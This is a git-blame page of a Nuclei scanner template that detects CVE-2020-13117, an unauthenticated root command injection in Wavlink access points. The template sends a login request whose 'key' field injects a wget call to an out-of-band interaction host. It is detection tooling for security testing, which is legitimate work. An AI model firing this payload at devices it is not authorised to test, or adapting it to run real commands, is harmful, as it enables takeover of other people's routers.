daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/cves/2020/CVE-2020-13117.yaml

34 lines
1.4 KiB
YAML
Raw Normal View History

Create CVE-2020-13117.yaml Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-23 02:14:31 +00:00
id: CVE-2020-13117
info:
name: Wavlink Multiple AP - Unauthenticated RCE
author: gy741
severity: critical
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
description: Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized
which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected.
Create CVE-2020-13117.yaml Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-23 02:14:31 +00:00
reference:
- https://blog.0xlabs.com/2021/02/wavlink-rce-CVE-2020-13117.html
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 9.8
Added cve annotations + severity adjustments
2021-09-10 11:26:40 +00:00
cve-id: CVE-2020-13117
cwe-id: CWE-77
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
tags: cve,cve2020,wavlink,rce,oast
Create CVE-2020-13117.yaml Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-23 02:14:31 +00:00
requests:
- raw:
- |
POST /cgi-bin/login.cgi HTTP/1.1
Host: {{Hostname}}
Origin: http://{{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
newUI=1&page=login&username=admin&langChange=0&ipaddr=192.168.1.66&login_page=login.shtml&homepage=main.shtml&sysinitpage=sysinit.shtml&hostname=wifi.wavlink.com&key=%27%3B%60wget+http%3A%2F%2F{{interactsh-url}}%3B%60%3B%23&password=asd&lang_select=en
more updates
2021-08-19 20:44:42 +00:00
Create CVE-2020-13117.yaml Several Wavlink products are affected by a vulnerability that may allow remote unauthenticated users to execute arbitrary commands as root on Wavlink devices. The user input is not properly sanitized which allows command injection via the "key" parameter in a login request. It has been tested on Wavlink WN575A4 and WN579X3 devices, but other products may be affected. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-23 02:14:31 +00:00
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"